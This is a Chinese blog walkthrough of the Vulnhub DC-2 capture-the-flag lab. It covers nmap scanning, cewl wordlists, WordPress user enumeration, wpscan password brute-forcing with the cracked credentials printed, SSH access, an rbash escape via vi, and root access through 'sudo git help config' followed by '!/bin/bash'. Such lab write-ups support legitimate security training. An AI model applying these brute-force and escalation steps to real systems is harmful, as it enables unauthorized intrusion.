Vulnhub-DC-2实战靶场

目录

前言

一. 环境搭建

1. 准备工具

2.靶场准备

二.渗透过程

1.主机发现

2.端口扫描

3.网页信息收集,flag1

4.cewl工具爬取网站密码

5.wpscan提取用户

6.wpscan爆破用户密码

7.dirsearch目录扫描

8.登录wp,flag2

9.ssh连接

10.rbash绕过,flag3

11.su切换用户,flag4

12.提权,final-flag


前言

之前打了DC-1,这次试试DC-2,目标是找到官方设置的5个flag。

一. 环境搭建

1. 准备工具

虚拟机Kali:

自备,我的kali的IP为192.168.111.129

靶场机:

https://download.vulnhub.com/dc/DC-2.zip

2.靶场准备

修改网络适配器为Nat模式:

二.渗透过程

1.主机发现

Nmap扫描Nat网段,通过排除法可得到靶机IP为192.168.111.145:

nmap -sP 192.168.111.0/24

2.端口扫描

Nmap扫描目标靶机开放的端口:

结果只扫出来个80端口,修改一下扫描命令再次扫描:

namp -A -p- 192.168.111.145

这次得到的信息就多了,发现靶机开放了80端口http服务,同时开放了ssh服务,不过是7744端口。

3.网页信息收集,flag1

直接在kali访问目标http://192.168.111.145,结果失败了无法查看:

根据提示的信息,发现目标进行了重定向,需要修改本地hosts文件,进行DNS解析:

vim /etc/hosts        #编辑hosts文件

192.168.111.145 dc-2        #添加域名

修改后重新访问http://dc-2,即可正常浏览页面,并发现靶机使用的CMS是WordPress:

并在网站内发现了flag1:

4.cewl工具爬取网站密码

根据flag1的提示,我们‘需要cewl与更多的密码’,应该是使用cewl对目标网站生成密码字典:

cewl http://dc-2 -w pass.txt

5.wpscan提取用户

既然以及得到了密码字典,那么下一步就是要找到用户,使用kali自带的wpscan工具,对目标进行用户扫描:

wpscan --url http://dc-2/ -e u        #-e:枚举;u:用户

可以得到三个用户:admin、jerry和tom。

6.wpscan爆破用户密码

将得到的用户写入字典user,同时利用wpscan与之前的pass字典匹配爆破用户密码:

wpscan --url http://dc-2/ -e -U /root/user.txt -P /root/pass.txt

成功爆出了用户密码:

jerry:adipiscing

tom:parturient

7.dirsearch目录扫描

使用dirsearch扫描目录,发现http://dc-2/wp-admin/登录界面:

dirsearch -u http://dc-2 -x 403,404,500

8.登录wp,flag2

使用刚刚的用户密码登录wordpress:

在Page中发现了flag2:

再使用另一个用户登录,结果空空的什么都没有:

9.ssh连接

进入wp后可以利用shell脚本木马上线,但根据flag2提示‘如果不能利用wp,但可以尝试其他途径’,结合之前扫出来的ssh服务及端口,那下一步很明显是利用ssh了。

使用用户密码尝试ssh连接,jerry用户连接失败:

Tom用户连接成功:

ssh tom@192.168.111.145 -p 7744

10.rbash绕过,flag3

使用tom用户ssh连接后,发现目标设置了rbash限制,导致大部分命令无法使用,不能查看flag3:

测试了一下 ‘vi’可以使用,那利用vi进行rbash绕过,首先vi建立一个文本,文本内输入‘set shell=/bin/bash’,再输入‘shell’,确认后自动退出,最后输入‘export PATH=$PATH:/bin/,即可完成rbash绕过:

vi a

set shell=/bin/bash

shell

export PATH=$PATH:/bin/

并且成功拿到了flag3:

11.su切换用户,flag4

根据flag3的提示‘tom总是落后于jerry,他应该su’,大概是说通过su切换用户为jerry:

su jerry

切换后,cd到/home目录下,发现jerry文件夹,进入/jerry找到了flag4:

12.提权,final-flag

到了这一步,接下来的就很明确了,无非就是提权。根据flag4的提示‘go on – git’,那么接下来就用git进行提权。

(说实话一开始没看flag4,导致我尝试了各种提权方法,如suid、crontab、脏牛、cve-2021-3156,直到使用git下载了个exp,我才意识到git可以用,笑了)

使用sudo -l查看一下,发现允许无密码使用git:

sudo -l

输入‘sudo git help config’进入配置文件,在文件末尾输入‘!/bin/bash’,即可成功提权:

sudo git help config

GG        #定位到文末

!/bin/bash

最后在/root找到了最终的flag:

总结

靶场还是比较简单的,而且官方给的提示也很明确。

在打靶场时,看得出来已经做了很多限制的安全措施,但做了又跟没做一样,方法总比困难多。所以在平时做防护一定更加要仔细一些,及时做好CMS的更新与维护等等。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值